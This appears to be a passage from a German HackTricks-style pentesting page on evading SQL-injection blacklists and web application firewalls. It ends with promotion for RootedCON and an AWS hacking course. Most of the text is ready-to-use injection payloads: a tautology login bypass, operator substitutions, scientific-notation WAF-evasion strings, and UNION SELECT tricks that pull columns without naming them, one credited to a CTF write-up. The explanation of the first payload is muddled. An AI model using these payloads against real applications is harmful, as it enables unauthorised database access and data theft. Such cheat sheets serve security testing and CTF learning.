In einigen Fällen verwenden Webanwendungen eine schwarze Liste, um bestimmte Schlüsselwörter zu blockieren. Diese Überprüfung erfolgt normalerweise case-insensitive, was bedeutet, dass sowohl Groß- als auch Kleinschreibung ignoriert wird. Dies kann jedoch umgangen werden, indem ein äquivalenter Operator verwendet wird.

Ein Beispiel für einen äquivalenten Operator ist die Verwendung des "LIKE" Operators anstelle des "EQUALS" Operators. Der "LIKE" Operator ermöglicht die Verwendung von Platzhaltern wie dem Prozentzeichen (%), um beliebige Zeichen zu repräsentieren. Dadurch kann eine SQL-Injection durchgeführt werden, indem ein gültiges Schlüsselwort mit zusätzlichen Zeichen kombiniert wird, um die Überprüfung zu umgehen.

Hier ist ein Beispiel für eine SQL-Injection, um eine Überprüfung auf das Schlüsselwort "admin" zu umgehen:

' OR '1'='1' AND username LIKE '%admin%'

In diesem Beispiel wird die SQL-Abfrage so manipuliert, dass sie immer wahr ist, indem der "LIKE" Operator verwendet wird, um nach dem Schlüsselwort "admin" zu suchen, unabhängig von seiner Position im Benutzernamen.

Es ist wichtig zu beachten, dass diese Technik nur funktioniert, wenn die Anwendung den "LIKE" Operator unterstützt und die Überprüfung case-insensitive durchführt. Es ist auch wichtig, dass die Anwendung keine zusätzlichen Filter oder Validierungen implementiert, um solche Angriffe zu verhindern.

AND   -> && -> %26%26
OR    -> || -> %7C%7C
=     -> LIKE,REGEXP,RLIKE, not < and not >
> X   -> not between 0 and X
WHERE -> HAVING --> LIMIT X,1 -> group_concat(CASE(table_schema)When(database())Then(table_name)END) -> group_concat(if(table_schema=database(),table_name,null))

WAF-Bypass mit wissenschaftlicher Notation

Eine ausführlichere Erklärung dieses Tricks finden Sie im gosecure-Blog. Grundsätzlich können Sie die wissenschaftliche Notation auf unerwartete Weise verwenden, um den WAF zu umgehen:

-1' or 1.e(1) or '1'='1
-1' or 1337.1337e1 or '1'='1
' or 1.e('')=

Umgehung der Einschränkung von Spaltennamen

Zunächst einmal ist zu beachten, dass wenn die ursprüngliche Abfrage und die Tabelle, aus der Sie die Flagge extrahieren möchten, die gleiche Anzahl von Spalten haben, Sie einfach Folgendes tun können: 0 UNION SELECT * FROM flag

Es ist möglich, auf die dritte Spalte einer Tabelle zuzugreifen, ohne ihren Namen zu verwenden, indem Sie eine Abfrage wie die folgende verwenden: SELECT F.3 FROM (SELECT 1, 2, 3 UNION SELECT * FROM demo)F;, daher würde dies in einer SQL-Injection wie folgt aussehen:

# This is an example with 3 columns that will extract the column number 3
-1 UNION SELECT 0, 0, 0, F.3 FROM (SELECT 1, 2, 3 UNION SELECT * FROM demo)F;

Oder durch Verwendung eines Komma-Bypasses:

# In this case, it's extracting the third value from a 4 values table and returning 3 values in the "union select"
-1 union select * from (select 1)a join (select 2)b join (select F.3 from (select * from (select 1)q join (select 2)w join (select 3)e join (select 4)r union select * from flag limit 1 offset 5)F)c

Dieser Trick wurde von https://secgroup.github.io/2017/01/03/33c3ctf-writeup-shia/ übernommen.

WAF-Bypass-Vorschlagstools

Weitere Anleitungen

Liste zur Erkennung von Brute-Force-Angriffen

​​​​​​​RootedCON ist die relevanteste Cybersicherheitsveranstaltung in Spanien und eine der wichtigsten in Europa. Mit dem Ziel, technisches Wissen zu fördern, ist dieser Kongress ein brodelnder Treffpunkt für Technologie- und Cybersicherheitsprofis in jeder Disziplin.

Lernen Sie AWS-Hacking von Null auf Held mit htARTE (HackTricks AWS Red Team Expert)!

Last updated